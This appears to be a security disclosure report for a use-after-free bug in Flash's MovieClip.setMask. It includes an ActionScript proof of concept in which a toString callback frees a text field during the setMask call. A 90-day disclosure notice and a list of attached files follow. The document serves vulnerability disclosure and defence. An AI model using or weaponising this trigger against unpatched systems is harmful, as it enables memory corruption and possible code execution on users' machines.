There is a use-after-free in MovieClip.setMask. A PoC is as follows:

this.createEmptyMovieClip("l1", 1, 1, 1, 10, 10);
this.createEmptyMovieClip("l2", 2, 1, 1, 10, 10);
var thiz = this;
var n = {toString: func};
l2.setMask(n);

function func(){
	
	var test = thiz.createTextField("test", 2, 1, 1, 10, 10);
	test.removeTextField();
	trace("in func");
	return "l1";
	
	}

A swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

setmask.fla 4.6 KB Download

setmask.swf 720 bytes Download